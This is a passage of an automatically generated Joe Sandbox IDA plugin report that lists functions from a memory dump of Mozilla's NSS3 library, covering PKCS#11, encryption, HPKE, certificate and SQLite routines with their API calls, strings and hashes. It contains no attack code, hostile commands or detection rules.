w=zl, xrefs: 6C7A4431, 6C7A4E25, 6C7A533D, 6C7A5536, 6C7A55A0, 6C7A4A83, 6C7A4A99, 6C7A5313, 6C7A5325, 6C7A4CFC, 6C7A4A8C, 6C7A51AC, 6C7A48B9, 6C7A46CD, 6C7A4786, 6C7A48D5, 6C7A490D, 6C7A5404, 6C7A5411, 6C7A541E, 6C7A5365, 6C7A537B, 6C7A536E, 6C7A542A, 6C7A5466, 6C7A53C9, 6C7A5211, 6C7A4BA1, 6C7A5013, 6C7A521D, 6C7A4C69, 6C7A528B, 6C7A4691, 6C7A5058, 6C7A4E5E, 6C7A4FA4, 6C7A4FEB, 6C7A4FDF, 6C7A4F9D, 6C7A4E77, 6C7A4EDF, 6C7A4576, 6C7A4F90
an index, xrefs: 6C7A4D53, 6C7A4E86
40f-21a-21d, xrefs: 6C7A44D0
second, xrefs: 6C7A4BCA

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: strlen
String ID: -$40f-21a-21d$a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$second$start of $w=zl$w=zl$weekday
API String ID: 39653677-3616217690
Opcode ID: 909c60de6be1af43975ce0f5fe6f7bdb65e32154d7df2fd34175f4f707de7326
Instruction ID: db2bb9eb37522bc09e3acaeb0121e08f304598c832af3ccb04667f25e5c15c43
Opcode Fuzzy Hash: 909c60de6be1af43975ce0f5fe6f7bdb65e32154d7df2fd34175f4f707de7326
Instruction Fuzzy Hash: F8A212316087808FD721CF74C250266B7E2AF86358F149B6DE8E55BB92EB36D887C741

Function 6C7DA4D0 Relevance: 32.0, APIs: 13, Strings: 5, Instructions: 501stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(6C7B28AD,pkcs11:,00000007), ref: 6C7DA501
PORT_Strdup_Util.NSS3(6C7B28AD), ref: 6C7DA514

Part of subcall function 6C810F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C7B2AF5,?,?,?,?,?,6C7B0A1B,00000000), ref: 6C810F1A
Part of subcall function 6C810F10: malloc.MOZGLUE(00000001), ref: 6C810F30
Part of subcall function 6C810F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C810F42

strchr.VCRUNTIME140(00000000,0000003A), ref: 6C7DA529
PK11_GetInternalKeySlot.NSS3 ref: 6C7DA60D
PR_SetError.NSS3(FFFFE041,00000000), ref: 6C7DA74B
PR_SetError.NSS3(FFFFE041,00000000), ref: 6C7DA777
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7DA80C
memcmp.VCRUNTIME140(?,00000001,00000000), ref: 6C7DA82B
CERT_DestroyCertificate.NSS3(00000000), ref: 6C7DA952
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7DA9C3

Part of subcall function 6C800960: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,?,6C7DA8F5,00000000,?,00000010), ref: 6C80097E
Part of subcall function 6C800960: memcmp.VCRUNTIME140(?,00000000,6C7DA8F5,00000010), ref: 6C80098D

free.MOZGLUE(00000000), ref: 6C7DAB18
strchr.VCRUNTIME140(?,00000040), ref: 6C7DAB40
free.MOZGLUE(?), ref: 6C7DABE1

Part of subcall function 6C7D4170: TlsGetValue.KERNEL32(?,6C7B28AD,00000000,?,6C7DA793,?,00000000), ref: 6C7D419F
Part of subcall function 6C7D4170: EnterCriticalSection.KERNEL32(0000001C), ref: 6C7D41AF
Part of subcall function 6C7D4170: PR_Unlock.NSS3(?), ref: 6C7D41D4

Strings

manufacturer, xrefs: 6C7DA8A2
pkcs11:, xrefs: 6C7DA4FB
token, xrefs: 6C7DA875
model, xrefs: 6C7DA8CF
object, xrefs: 6C7DA5CF

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: strlen$Errorfreememcmpstrchr$CertificateCriticalDestroyEnterInternalK11_L_strncasecmpSectionSlotStrdup_UnlockUtilValuemallocmemcpy
String ID: manufacturer$model$object$pkcs11:$token
API String ID: 916065474-709816111
Opcode ID: 4f7f44e313ef9b880ab2a8e3174f78efd3c8571e554b418afe315fa4c53de843
Instruction ID: 4b1950af85f80de4a308ea37643a0490a7c04f5a006d61e19de6d7d3e732c107
Opcode Fuzzy Hash: 4f7f44e313ef9b880ab2a8e3174f78efd3c8571e554b418afe315fa4c53de843
Instruction Fuzzy Hash: C802A6B1E002149FFF219B359E45B9A7A75BF11318F1500B4E80CA2752FB31AE59CFA2

Function 6C7FA650 Relevance: 31.8, APIs: 21, Instructions: 278memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C7FA670

Part of subcall function 6C810FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7B87ED,00000800,6C7AEF74,00000000), ref: 6C811000
Part of subcall function 6C810FF0: PR_NewLock.NSS3(?,00000800,6C7AEF74,00000000), ref: 6C811016
Part of subcall function 6C810FF0: PL_InitArenaPool.NSS3(00000000,security,6C7B87ED,00000008,?,00000800,6C7AEF74,00000000), ref: 6C81102B

PK11_GetInternalKeySlot.NSS3 ref: 6C7FA67E
PK11_Authenticate.NSS3(00000000,00000001,?), ref: 6C7FA69B

Part of subcall function 6C7D9520: PK11_IsLoggedIn.NSS3(00000000,?,6C80379E,?,00000001,?), ref: 6C7D9542

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7FA6C0
TlsGetValue.KERNEL32 ref: 6C7FA703
EnterCriticalSection.KERNEL32(?), ref: 6C7FA718
PR_Unlock.NSS3(?), ref: 6C7FA78B
PK11_CreateContextBySymKey.NSS3(00000133,00000104,?,00000000), ref: 6C7FA7DD
PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C7FA7FA
PORT_Alloc_Util.NSS3(00000000), ref: 6C7FA818
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C7FA82F
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7FA868
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C7FA873
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7FA884
PK11_FreeSymKey.NSS3(00000000), ref: 6C7FA894
PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C7FA8D9
PK11_CipherOp.NSS3(?,00000000,?,00000000,00000000,00000000), ref: 6C7FA8F0
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C910B04), ref: 6C7FA93F
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7FA952
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C7FA961
PK11_DestroyContext.NSS3(?,00000001), ref: 6C7FA96E

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$K11_$Item_$Zfree$Arena_Free$Alloc_ArenaContext$AuthenticateBlockCipherCreateCriticalDestroyEncodeEnterInitInternalLockLoggedPoolSectionSizeSlotUnlockValuecallocmemcpy
String ID:
API String ID: 1441238854-0
Opcode ID: c16e6d4cab9ad50821dcaeb488596ef0c4fdb4231d6a8bf1a35a77b10d72fe2a
Instruction ID: 018ae5b7e9698e2982b08e1a395ac41b7633cfb2ed0ae5f9a9d5c74fb5cf4e4b
Opcode Fuzzy Hash: c16e6d4cab9ad50821dcaeb488596ef0c4fdb4231d6a8bf1a35a77b10d72fe2a
Instruction Fuzzy Hash: A0910CB1E002089FEB01DFA9DE89AAE77B4AF1531CF144439E824AB741F771D91AC791

Function 6C7DE6E0 Relevance: 30.6, APIs: 20, Instructions: 581memorythreadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7DE8AB
EnterCriticalSection.KERNEL32(?), ref: 6C7DE8BF
PORT_Alloc_Util.NSS3(0000000C), ref: 6C7DEA30
PK11_Encrypt.NSS3(?,?,?,?,?,?,00000000,?), ref: 6C7DEA6A
PORT_Alloc_Util.NSS3(?), ref: 6C7DEB0D
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C7DEB23
memcpy.VCRUNTIME140(?,?), ref: 6C7DEB38
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C7DEB50
PR_SetError.NSS3(00000000,00000000), ref: 6C7DEC0F
PR_Unlock.NSS3(?), ref: 6C7DEC68
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7DEC7D
PR_Unlock.NSS3(?), ref: 6C7DEC9C
PK11_Decrypt.NSS3(?,?,?,?,?,?,00000000,?), ref: 6C7DECCF
PR_GetCurrentThread.NSS3 ref: 6C7DED02
PK11_Decrypt.NSS3(?,00001087,?,?,?,?,?,?), ref: 6C7DED6F
PK11_Encrypt.NSS3(?,00001087,?,?,?,?,?,?), ref: 6C7DEDB7
memcpy.VCRUNTIME140(?,?,?), ref: 6C7DEDF6
memcpy.VCRUNTIME140(?,?), ref: 6C7DEE12
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7DEE2B

Part of subcall function 6C85C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C85C2BF

free.MOZGLUE(?), ref: 6C7DEE43

Part of subcall function 6C7A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C73204A), ref: 6C7A07AD
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C73204A), ref: 6C7A07CD
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C73204A), ref: 6C7A07D6
Part of subcall function 6C7A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C73204A), ref: 6C7A07E4
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,6C73204A), ref: 6C7A0864
Part of subcall function 6C7A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C7A0880
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C73204A), ref: 6C7A08CB
Part of subcall function 6C7A07A0: TlsGetValue.KERNEL32(?,?,6C73204A), ref: 6C7A08D7
Part of subcall function 6C7A07A0: TlsGetValue.KERNEL32(?,?,6C73204A), ref: 6C7A08FB

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Value$ErrorK11_memcpy$Alloc_DecryptEncryptUnlockUtilcalloc$CriticalCurrentEnterSectionThreadfree
String ID:
API String ID: 1743700497-0
Opcode ID: b438a091ffc284acfbd54cd1ee1821243d1e9b9b897f3122c3dd59e94bbdcd22
Instruction ID: 8692e641d189afce67dcc2feca3ba12746e233448e884c5140fc43580c1b1ce8
Opcode Fuzzy Hash: b438a091ffc284acfbd54cd1ee1821243d1e9b9b897f3122c3dd59e94bbdcd22
Instruction Fuzzy Hash: 5B3245B1604309DFDB11CF29C980A9ABBE1BF89308F15896DE89987751D371E845CF92

Function 6C7A2560 Relevance: 30.3, APIs: 10, Strings: 7, Instructions: 533stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C73CA30: EnterCriticalSection.KERNEL32(?,?,?,6C79F9C9,?,6C79F4DA,6C79F9C9,?,?,6C76369A), ref: 6C73CA7A
Part of subcall function 6C73CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C73CB26

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7A25B2
memset.VCRUNTIME140(00000000,00000000,00000079), ref: 6C7A25DE
sqlite3_snprintf.NSS3(-0000000F,00000068,%s-shm,?), ref: 6C7A2604
sqlite3_initialize.NSS3 ref: 6C7A269D
sqlite3_uri_parameter.NSS3(?,readonly_shm), ref: 6C7A26D6
sqlite3_initialize.NSS3 ref: 6C7A289F
EnterCriticalSection.KERNEL32(?), ref: 6C7A29CD
LeaveCriticalSection.KERNEL32(?), ref: 6C7A2A26
sqlite3_free.NSS3(?), ref: 6C7A2B30

Strings

winShmMap2, xrefs: 6C7A2BD0
winOpenShm, xrefs: 6C7A2B7E
winShmMap3, xrefs: 6C7A2C08, 6C7A2C3D
winFileSize, xrefs: 6C7A2A7D
winShmMap1, xrefs: 6C7A2AB0
%s-shm, xrefs: 6C7A25FD
readonly_shm, xrefs: 6C7A26CE

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_initialize$memsetsqlite3_freesqlite3_snprintfsqlite3_uri_parameterstrlen
String ID: %s-shm$readonly_shm$winFileSize$winOpenShm$winShmMap1$winShmMap2$winShmMap3
API String ID: 3867263885-4021692097
Opcode ID: cda4d3de7d2fb0179e1608a565fea48b9a86b49c2158783ddfbd0d90ccb16506
Instruction ID: 61820020b6ae9c3d76127327129458192e1cf56c2c034c807e9b25f3217831e6
Opcode Fuzzy Hash: cda4d3de7d2fb0179e1608a565fea48b9a86b49c2158783ddfbd0d90ccb16506
Instruction Fuzzy Hash: 5112A071B08201DFDB08CF66D949A6A77B1FF89314F24463CE85997B50DB34E846CB91

Function 6C7AEF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7AEF63

Part of subcall function 6C7B87D0: PORT_NewArena_Util.NSS3(00000800,6C7AEF74,00000000), ref: 6C7B87E8
Part of subcall function 6C7B87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C7AEF74,00000000), ref: 6C7B87FD
Part of subcall function 6C7B87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C7B884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C7AF2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7AF2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C7AF30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C7AF374
PL_strcasecmp.NSS3(6C8F2FD4,?), ref: 6C7AF457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C7AF4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C7AF66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C7AF67D
CERT_DestroyName.NSS3(?), ref: 6C7AF68B

Part of subcall function 6C7B8320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C7B8338
Part of subcall function 6C7B8320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C7B8364
Part of subcall function 6C7B8320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C7B838E
Part of subcall function 6C7B8320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7B83A5
Part of subcall function 6C7B8320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7B83E3

Part of subcall function 6C7B84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C7B84D9
Part of subcall function 6C7B84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C7B8528

Part of subcall function 6C7B8900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C7AF599,?,00000000), ref: 6C7B8955

Strings

*, xrefs: 6C7AF3C6
", xrefs: 6C7AF21B
oid., xrefs: 6C7AF2CF

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: e6a7151fa5b6c87bdb93beefb13b5dc978e5f132ab66670ed6e99a9bc1255165
Instruction ID: e621e1a37d8ef1a9110e4703896b91caf763292aeb5f5bb309fa062383b1871c
Opcode Fuzzy Hash: e6a7151fa5b6c87bdb93beefb13b5dc978e5f132ab66670ed6e99a9bc1255165
Instruction Fuzzy Hash: 6F222B716083414FD714CEA9CA9076BB7E6AB85358F148B3EE495877A2E7319C07CB83

Function 6C80A5E0 Relevance: 23.1, APIs: 15, Instructions: 574COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40eac079979cbcd68fc0783d92bfd806bfd4133d3224cd5c122b4cfd27af15f0
Instruction ID: 74d760d4bb41dacff5c47466984649a73f1be3bd240242ca0a4e06f2a55d62e1
Opcode Fuzzy Hash: 40eac079979cbcd68fc0783d92bfd806bfd4133d3224cd5c122b4cfd27af15f0
Instruction Fuzzy Hash: C8127E30F0915C4FCB35CA288E913ED77F2AF4B319F2889E9C5A957A41D2354D85CB91

Function 6C7E0570 Relevance: 22.8, APIs: 15, Instructions: 256memoryCOMMON

Download Yara Rule

APIs

PK11_HPKE_Deserialize.NSS3(?,?,?,00000000), ref: 6C7E05E3
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7E060C
PK11_HPKE_DestroyContext.NSS3(?,00000000), ref: 6C7E061A
PK11_PubDeriveWithKDF.NSS3 ref: 6C7E0712
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C7E0740
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C7E0760
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C7E07AE
PK11_FreeSymKey.NSS3(?), ref: 6C7E07BC
PK11_FreeSymKey.NSS3(?), ref: 6C7E07D1
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C7E07DD
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7E07EB
SECITEM_ZfreeItem_Util.NSS3(00000001,00000001), ref: 6C7E07F8
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C7E082F
memcpy.VCRUNTIME140(?,?,?), ref: 6C7E08A9
SECITEM_DupItem_Util.NSS3(?), ref: 6C7E08D0

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: K11_$Item_Util$ContextDestroyErrorFreeZfreememcpy$AllocCreateDeriveDeserializePublicWith
String ID:
API String ID: 657680294-0
Opcode ID: fbdfca004e0d8792fbf9fdd027e94bf3819d3b46689ced6ade55dfd211c33c02
Instruction ID: d9bc4868c54b7a5f072b61ea23093c9c44ac95fcad44ba89b69d27e6705ae4bf
Opcode Fuzzy Hash: fbdfca004e0d8792fbf9fdd027e94bf3819d3b46689ced6ade55dfd211c33c02
Instruction Fuzzy Hash: 4291C272A083409BE710CF29CE45B5B77F1AF8831CF14892CE9998B791EB31D854DB92

Function 6C81EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C81C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C81DAE2,?), ref: 6C81C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C81F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C81F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C81F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C81F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C8E218C), ref: 6C81F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C81F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C81F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C81F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C81F210

Part of subcall function 6C7C52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C81F1E9,?,00000000,?,?), ref: 6C7C52F5
Part of subcall function 6C7C52D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C7C530F
Part of subcall function 6C7C52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C7C5326
Part of subcall function 6C7C52D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C81F1E9,?,00000000,?,?), ref: 6C7C5340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C81F227

Part of subcall function 6C80FAB0: free.MOZGLUE(?,-00000001,?,?,6C7AF673,00000000,00000000), ref: 6C80FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C81F23E

Part of subcall function 6C80BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C7BE708,00000000,00000000,00000004,00000000), ref: 6C80BE6A
Part of subcall function 6C80BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7C04DC,?), ref: 6C80BE7E
Part of subcall function 6C80BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C80BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C81F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C81F3A8

Part of subcall function 6C85C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C85C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C81F3B3

Part of subcall function 6C7C2D20: PK11_DestroyObject.NSS3(?,?), ref: 6C7C2D3C
Part of subcall function 6C7C2D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C7C2D5F

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: e538b3322bfac3df021447b1e207b63363c25dec2dad7b72c94d9adb344f2779
Instruction ID: 10f96e43b5dd40178c322f82228f3f9e12fd078203aff11f75069a99e4d8e78f
Opcode Fuzzy Hash: e538b3322bfac3df021447b1e207b63363c25dec2dad7b72c94d9adb344f2779
Instruction Fuzzy Hash: 06D1B2B6E042069FDB24CFA9DA80A9EB7F5FF58308F148829D915E7B11E731E805CB50

Function 6C73ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C73ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C73EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C73EF87
